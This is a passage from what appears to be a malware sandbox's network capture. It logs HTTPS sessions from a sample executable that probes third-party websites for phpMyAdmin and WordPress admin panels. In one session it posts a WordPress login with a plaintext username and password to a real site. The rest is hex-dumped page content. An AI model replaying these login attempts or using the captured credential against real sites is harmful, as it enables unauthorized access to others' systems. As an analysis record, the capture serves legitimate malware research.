61 64 64 69 6e 67 3a 30 3b 0a 7d 0a 0a Data Ascii: 522<!doctype html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css">html,body{ width:100%; height:100%; margin:0; padding:0;}
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	63585	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	177	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:41 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:41 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:42 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:42 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:42 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	63645	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	174	OUT	GET /admin/pages/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	511	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 6d 34 64 63 74 72 75 72 73 70 75 65 73 70 30 62 37 66 72 74 34 70 70 65 64 32 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 53 65 63 75 72 69 74 79 2f 6c 6f 67 69 6e 3f 42 61 63 6b 55 52 4c 3d 25 32 46 61 64 6d 69 6e 25 32 46 70 61 67 65 73 25 32 46 0d 0a 78 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3a 20 53 69 6c 76 65 72 53 74 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.52 (Ubuntu)Set-Cookie: PHPSESSID=m4dctrurspuesp0b7frt4pped2; path=/; HttpOnlylocation: https://ce-logic.com/Security/login?BackURL=%2Fadmin%2Fpages%2Fx-controller: SilverStr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	63746	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mydirectlender.com/wp-login.php Content-Length: 137 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:41 UTC	137	OUT	Data Raw: 6c 6f 67 3d 6a 65 73 74 65 70 26 70 77 64 3d 46 6f 72 77 61 72 64 32 30 32 31 25 32 31 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jestep&pwd=Forward2021%21&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fmydirectlender.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:41 UTC	527	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 Data Ascii: HTTP/1.1 200 OKConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; securex-frame-options
2023-11-26 05:59:41 UTC	841	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Staging for MyDirectLender.com — WordPress</title><meta name='robots' content='noindex, nofollow' /><scrip
2023-11-26 05:59:41 UTC	6050	IN	Data Raw: 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 72 6d 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 31 30 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f Data Ascii: nk rel='stylesheet' id='forms-css' href='https://mydirectlender.com/wp-admin/css/forms.min.css?ver=6.4.1' type='text/css' media='all' /><link rel='stylesheet' id='l10n-css' href='https://mydirectlender.com/wp-admin/css/l10n.min.css?ver=6.4.1' type='text/

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.4	63583	185.135.132.105	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	307	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:41 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:41 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	63864	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	216	OUT	GET /wp-admin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://esoft.academy/wp-login.php
2023-11-26 05:59:42 UTC	636	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:42 UTC	733	IN	Data Raw: 37 64 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d33<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e Data Ascii: :void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c Data Ascii: !0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 Data Ascii: if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.s
